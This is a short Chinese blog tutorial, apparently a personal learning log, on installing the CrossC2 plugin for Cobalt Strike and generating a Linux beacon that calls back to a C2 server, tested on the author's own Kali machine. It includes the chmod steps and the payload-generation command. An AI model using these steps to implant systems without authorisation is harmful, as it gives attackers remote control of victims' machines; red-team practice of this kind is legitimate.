CobaltStrike实战(一)—— 生成beacon上线linux机器

前言:CS系列的第一篇实战文章

前置

1.CS >= 4.2

2.java版本:java-1.8.0

3.CrossC2最新版

安装

1.从https://github.com/gloxec/CrossC2下载插件

2.修改CrossC2.cna内的$CC2_PATH、$genCC2为server端的绝对路径。

3.将CrossC2和genCrossC2.Linux上传至CS服务端目录

4.使用以下命令赋予权限

chmod   +x   CrossC2
chmod   +x    genCrossC2.Linux

至此安装完成

使用

1.CS客户端新建https监听

2.命令行输入以下命令生成beacon

./genCrossC2.Linux [host] [port] [getURI] [postURI] [platform] [arch] [outputFileName] -platform  'MacOS' / 'Linux'   -arch  'x86' / 'x64'

其中host为CS服务器ip,port为新建的https监听端口,之后选择linux,x64

如下面的命令所示

./genCrossC2.Linux host 8000 null null Linux x64 muma

我们成功生成了beacon,现在将beacon弄到linux机器上,这里我选择弄到我的kali里面。

上线

将beacon放到kali里面,执行以下命令

cs客户端成功收到上线的linux的kali机器

下一篇

CrossC2的GUI界面生成不了beacon,不知道是什么问题,这个等以后解决,下一步准备全面掌握CS的宏攻击。

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注